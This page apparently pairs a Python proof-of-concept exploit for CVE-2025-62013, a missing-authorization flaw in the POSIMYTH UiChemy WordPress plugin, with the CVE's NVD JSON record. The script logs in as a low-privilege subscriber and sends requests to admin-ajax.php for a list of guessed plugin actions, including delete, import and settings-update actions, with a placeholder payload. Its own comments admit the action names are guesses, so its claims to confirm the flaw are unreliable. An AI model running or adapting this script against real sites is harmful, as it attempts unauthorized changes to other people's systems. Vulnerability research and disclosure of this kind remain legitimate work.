CVE-2025-62013

# CVE-2025-62013 PoC - POSIMYTH UiChemy Broken Access Control # This PoC demonstrates the missing authorization vulnerability # Requires a low-privilege WordPress account (subscriber role) import requests import sys # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_cookie(): """Login to WordPress and get authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_broken_access_control(cookies): """Exploit the missing authorization vulnerability""" # Target the UiChemy plugin's AJAX endpoint # Replace 'uichemy_action' with actual vulnerable action exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Common vulnerable actions in UiChemy plugin vulnerable_actions = [ 'uichemy_save_data', 'uichemy_export', 'uichemy_import', 'uichemy_delete', 'uichemy_update_settings' ] for action in vulnerable_actions: print(f"[*] Testing action: {action}") # Construct exploit payload # Adjust payload based on actual vulnerable parameter exploit_data = { 'action': action, 'uichemy_nonce': 'any_value_or_empty', # Nonce may be missing validation # Additional parameters depending on the vulnerable function 'data': 'malicious_payload' } response = requests.post( exploit_url, data=exploit_data, cookies=cookies ) # Check for successful unauthorized access if response.status_code == 200: print(f"[+] Potential vulnerability confirmed with action: {action}") print(f"Response: {response.text[:200]}") return True return False def main(): print("[*] CVE-2025-62013 PoC - POSIMYTH UiChemy Missing Authorization") print("[*] Target: POSIMYTH UiChemy WordPress Plugin <= 4.0.0") # Step 1: Authenticate with low-privilege account print("\n[1] Authenticating with low-privilege account...") cookies = get_auth_cookie() if not cookies: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit the broken access control print("\n[2] Exploiting missing authorization vulnerability...") if exploit_broken_access_control(cookies): print("\n[!] Vulnerability confirmed - unauthorized access achieved") else: print("\n[-] No vulnerability detected or patch applied") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62013", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:02.910", "lastModified": "2026-04-27T17:16:29.590", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in POSIMYTH UiChemy uichemy.This issue affects UiChemy: from n/a through <= 4.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/uichemy/vulnerability/wordpress-uichemy-plugin-4-0-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}